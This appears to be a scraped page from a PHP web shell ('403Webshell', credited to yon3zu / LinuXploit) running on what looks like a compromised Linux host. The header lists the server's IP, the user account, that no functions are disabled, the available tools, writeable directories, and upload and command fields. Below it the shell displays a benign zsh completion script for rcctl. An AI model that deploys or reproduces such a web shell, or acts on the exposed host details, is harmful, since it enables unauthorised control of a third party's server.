403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/zsh/functions/Completion/BSD/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/functions/Completion/BSD/_rcctl
#compdef rcctl

local context state line
local -a actions lsarg subcmds variables

actions=(check reload restart start stop)
subcmds=(disable enable get getdef ls order set)
variables=(class flags status timeout user)
lsarg=(
  'all:all services and daemons'
  'failed:enabled but stopped daemons'
  'off:disabled services and daemons'
  'on:enabled services and daemons'
  'rogue:daemons which are disabled but currently running'
  'started:running daemons'
  'stopped:stopped daemons'
)

if [[ $service == "rcctl" ]]; then
  _arguments -C \
    '-d[print debug information]' \
    '-f[forcibly start the daemon]' \
    ':subcommand:('"$actions ${${${+words[(r)-[df]]}#1}/0/$subcmds}"\) \
    '*:: :->subcmd' && return
  service="$words[1]"
fi

case $service in
  get|getdef)
    _arguments \
      ':service:_services' \
      ':variable:compadd -a variables'
    ;;
  ls)
    _arguments ':display a list of services and daemons matching:(($lsarg))'
    ;;
  order)
    _arguments \
      ':service to start first:_services' \
      '*:service to start next:_services'
    ;;
  set)
    _arguments \
      ':service:_services' \
      ':variable:compadd -a variables' \
      '*:argument:'
    ;;
  ${(~j:|:)actions}|disable|enable)
    _arguments "*:service to $words[2]:_services"
    ;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit